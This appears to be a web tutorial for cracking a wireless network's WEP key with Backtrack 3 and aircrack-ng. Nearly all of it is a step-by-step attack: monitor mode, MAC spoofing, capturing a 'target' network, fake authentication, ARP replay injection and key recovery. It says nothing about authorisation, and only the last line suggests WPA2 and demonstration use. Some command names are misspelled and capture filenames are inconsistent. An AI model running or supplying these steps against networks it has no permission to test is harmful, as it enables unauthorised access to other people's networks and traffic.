Special Security

Requirements:

* Backtrack 3 on CD or USB
* Computer with compatible 802.11 wireless card
* Wireless Access point or WIFI Router using WEP encryption

I will assume that you have downloaded and booted into Backtrack 3. If you haven’t figured that part out, you probably shouldn’t be trying to crack WEP keys. Once Backtrack is loaded, open a shell and do the following:
Preparing The WIFI Card

First we must enable “Monitor Mode” on the wifi card. If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:

modprobe -r iwl3945

modprobe ipwraw
The above commands will enable monitor mode on the wireless chipset in your computer. Next we must stop your WIFI card:

iwconfig
Take note of your wireless adapter’s interface name. Then stop the adapter by issuing:

airmon-ng stop [device]
Then:

ifconfig down [interface]
Now we must change the MAC address of the adapter:

macchanger --mac 00:11:22:33:44:66 [device]
Its now time to start the card in monitor mode by doing:

airmon-ng start [device]
airmon-ngstart1.png
Attacking The Target

It is now time to locate a suitable WEP enabled network to work with:

airodump-ng [device]
airodumpwifi0.png

Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network. Now we must start collecting data from the WIFI access point for the attack:

airodump-ng -c [channel] -w [network.out] –bssid [bssid] [device]

airodumpoutput.png

The above command will output data collected to the file: network.out. This file will be fed into the WEP Crack program when we are ready to crack the WEP key.

Open another shell and leave the previous command running. Now we need to generate some fake packets to the access point to speed up the data output. Test the access point by issuing the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]
aireplayfakeauth.png

If this command is successful we will now generate many packets on the target network so that we can crack the KEY. Type:

airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]
aireplaygenerateivs.png

This will force the access point to send out a bunch of packets which we can then use to crack the WEP key. Check your aerodump-ng shell and you should see the “data” section filling up with packets.

captureivs_0.png

After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]
aireplayattack2p.png

Once you have enough packets, you begin the crack:

aircrack-ng -n 128 -b [bssid] [filename]-01.cap

The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.

crackng.png

Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.

You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks